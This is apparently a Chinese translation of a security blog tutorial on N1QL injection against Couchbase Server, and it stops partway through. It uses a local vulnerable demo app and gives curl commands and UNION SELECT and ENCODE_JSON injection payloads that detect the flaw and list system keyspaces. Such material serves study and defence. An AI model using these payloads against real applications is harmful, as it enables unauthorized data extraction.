Couchbase Server 与 N1QL注入

1. 译文声明

本文是翻译文章,原作者 Krzysztof Pranczk
原文地址:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/
译文仅作参考,具体内容表达请见原文

2. 前言

目前大多数数据库都支持SQLNOSQL等查询语言,这些语言旨在为使用者提供与数据库的有效通信接口。但在某些情况下,外部攻击者或恶意用户可能会滥用这些接口功能来提取信息。常见的攻击方式有SQL注入或NoSQL注入。同时,一些小众查询语言的安全性没有得到过多的关注。本篇文章主要讲解N1QL注入,它可以理解为NoSQL数据库中的一种SQL注入,以及对应的利用工具N1QLMap

3. Couchbase Server 与 N1QL

Couchbase Server是一个开源的面向文档的NoSQL数据库,其将JSON对象存储为文档,也可根据需要将其分配为存储非JSON对象的文档。Couchbase公司还提供Couchbase Lite和一些移动应用。但是,这些产品有着与Couchbase Server若干相同的功能。Couchbase SDK包括使用文档ID进行增/删/改/查操作的基本功能,可以使用全文搜索功能或基于MapReduce构建的索引执行查询。除此之外,还可以使用N1QL语法发出更复杂的查询。N1QL(SQL for JSON)是一种类似于SQL的语言,能更好地处理和反馈JSON数据。

4. 一个简易的靶场

我们在gayhub上提供了一个漏洞靶场。该应用程序提供了一个简单的接口,允许用户查询世界各地的啤酒厂信息。基于Docker Compose来搭建环境:

git clone https://github.com/FSecureLABS/N1QLMap.git 
cd n1qlmap / n1ql-demo 
./quick_setup.sh

设置完成后,靶场环境为http://localhost:3000。例如以下curl命令返回一个JSON数据,包含位于纽约的啤酒厂:

$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York"
...
[
  {
    "beer-sample": {
      "address": [
        "Chelsea Piers, Pier 59"
      ],
      "city": "New York",
      "code": "10011",
      ....

4.1. 识别注入

现在我们有了一个应用程序,随后需要确定是否存在注入,我们假设唯一的可控GET参数“city”存在SQL注入漏洞。判断手法与普通SQL注入判断手法相似。比如输入撇号/引号来判断,由于这些特殊字符破坏了服务器端语法,因此应用程序将抛出异常。例如:

$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"

...errors\": [{\"code\":3000,\"msg\":\"syntax error - at aaa\"}],\n\"status\": \"fatal\",\n\"...

如上所示,syntax error表明,可以通过操纵city参数的值来直接修改查询。截至目前一切正常。接下来我们需要确定查询语言和数据库技术。

4.2. 判断查询语句和数据库

对于可疑的查询注入点,下一步是判断查询语言。为了识别注入点在N1QL查询语法内,可以构造出特定的函数或查询来判断。举两个栗子:

  • 使用ENCODE_JSONMETA关键字或其它可在官方文档中找到对应的N1QL特定语法。
  • 利用系统键空间来进行查询,例如SELECT * FROM system:datastore,在N1QL逻辑层次结构中可以找到更多可用的系统键空间。

本次靶场中应用如下:

  • http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON({}) == "{}" OR '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != "{}" OR '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' UNION SELECT * FROM system:keyspaces WHERE '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' UNION SELECT META((SELECT * FROM system:datastores)) WHERE '1'='1
    上述payload均未抛出异常,表明修改后的N1QL查询已成功查询。由于N1QL与常规SQL注入非常相似,也支持UNION SELECT关键字,因此可以构造普通SQL注入中的联合查询。比如要查询所有可用的键空间,可以构造以下payload:
$ curl -G  "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"

[{
    "keyspaces": {
        "datastore_id": "http://127.0.0.1:8091",
        "id": "beer-sample",
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖